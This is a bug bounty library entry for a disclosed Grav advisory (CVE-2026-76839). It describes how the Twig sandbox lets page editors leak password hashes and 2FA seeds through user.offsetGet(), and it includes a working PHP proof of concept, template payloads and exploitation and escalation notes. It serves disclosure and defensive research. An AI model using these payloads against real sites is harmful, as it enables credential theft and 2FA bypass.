# Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()

Grav's Twig sandbox allow-lists offsetGet/offsetExists on UserInterface, letting sandboxed templates read hashed_password and 2FA secrets, bypassing jsonSerialize redaction.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: alham-rizvi
- Disclosed: 2026-09-17
- CVE: CVE-2026-76839
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3jhr-mxmx-38cx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3jhr-mxmx-38cx
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Twig sandbox policy (security.yaml) over Grav User/Data objects
**Root cause:** security.yaml allow-lists offsetget/offsetexists for UserInterface, but User::offsetGet() returns raw fields without the redaction jsonSerialize() applies; the generic Data allowlist (get/value/offsetget) grants the same access via instanceof.
**Steps:**
1. Clone getgrav/grav, `composer install --no-dev`, install php8.3-curl/zip/xml/gd.
2. Parse `system/config/security.yaml` with `Yaml::parseFile`, build `GravSecurityPolicy` from `twig_sandbox` rows, wrap in `SandboxExtension($policy, true)`.
3. Instantiate `User` with `hashed_password`, `secret`, `twofa_secret`; render `{{ user.offsetGet('hashed_password') }}` via ArrayLoader template.
4. Observe plaintext hash/2FA seed returned; control `{{ user.set('email','pwned@evil.com') }}` and `{{ user['twofa_secret'] }}` are blocked, confirming sandbox active.
5. Simulate UserInterface-only fix and confirm `get`/`value`/`offsetGet` via Data allowlist still leak.
**How found:** Noticed the sandbox policy allow-lists raw data-access methods on UserInterface while Grav's own jsonSerialize() explicitly strips hashed_password/secret/twofa_secret — a redaction bypass shape matching two prior fixed advisories in the same file. Built a real Twig sandbox from the actual YAML to prove the leak, then checked the parent Data allowlist for a second path.
**Exploitation:** Any user with page-edit permission authors sandboxed Twig content calling `user.offsetGet('hashed_password')` or `('secret')`; the rendered page returns the bcrypt hash (offline cracking) and TOTP seed (forge valid 2FA codes). Requires a UserInterface object bound into page Twig context, the documented 'current user' pattern.
**Escalation:** 2FA seed disclosure converts credential leak into full authentication bypass; if binding resolves to arbitrary users rather than session user, impact scales site-wide toward critical.
**Insight:** When a class redacts fields in jsonSerialize() but is exposed through a sandbox/allowlist, check every accessor (offsetGet, get, value) and the parent class's separate allowlist entry — instanceof matching means trimming one class entry is insufficient.

## Proof of concept (copied exactly from the original report)

**Twig sandbox render test leaking user secrets**

```
<?php
require 'vendor/autoload.php';

use Symfony\Component\Yaml\Yaml;
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Grav\Common\Twig\Sandbox\GravSecurityPolicy;
use Grav\Common\User\DataUser\User;

$securityYaml = Yaml::parseFile('system/config/security.yaml');
$sandboxCfg = $securityYaml['twig_sandbox'];

function rowsToMap(array $rows): array {
    $out = [];
    foreach ($rows as $row) {
        $out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));
    }
    return $out;
}

$policy = new GravSecurityPolicy(
    $sandboxCfg['allowed_tags'],
    $sandboxCfg['allowed_filters'],
    rowsToMap($sandboxCfg['allowed_methods']),
    rowsToMap($sandboxCfg['allowed_properties']),
    $sandboxCfg['allowed_functions']
);
$sandbox = new SandboxExtension($policy, true);

$user = new User([
    'username'        => 'admin',
    'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
    'secret'          => 'JBSWY3DPEHPK3PXP',
    'twofa_secret'    => 'ALT2FASECRETVALUE9999',
]);

function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
    $twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
    $twig->addExtension($sandbox);
    try {
        echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
    } catch (\Twig\Sandbox\SecurityError $e) {
        echo "$label => BLOCKED: " . $e->getMessage() . "\n";
    }
}

tryRender('hashed_password via offsetGet()', "{{ user.offsetGet('hashed_password') }}", $sandbox, $user);
tryRender('secret via offsetGet()',          "{{ user.offsetGet('secret') }}", $sandbox, $user);
tryRender('twofa_secret via offsetGet()',    "{{ user.offsetGet('twofa_secret') }}", $sandbox, $user);
tryRender('twofa_secret via subscript',      "{{ user['twofa_secret'] }}", $sandbox, $user);
tryRender('control: user.set() (unlisted)',  "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);
```

**Environment setup commands to reproduce**

```
git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
```

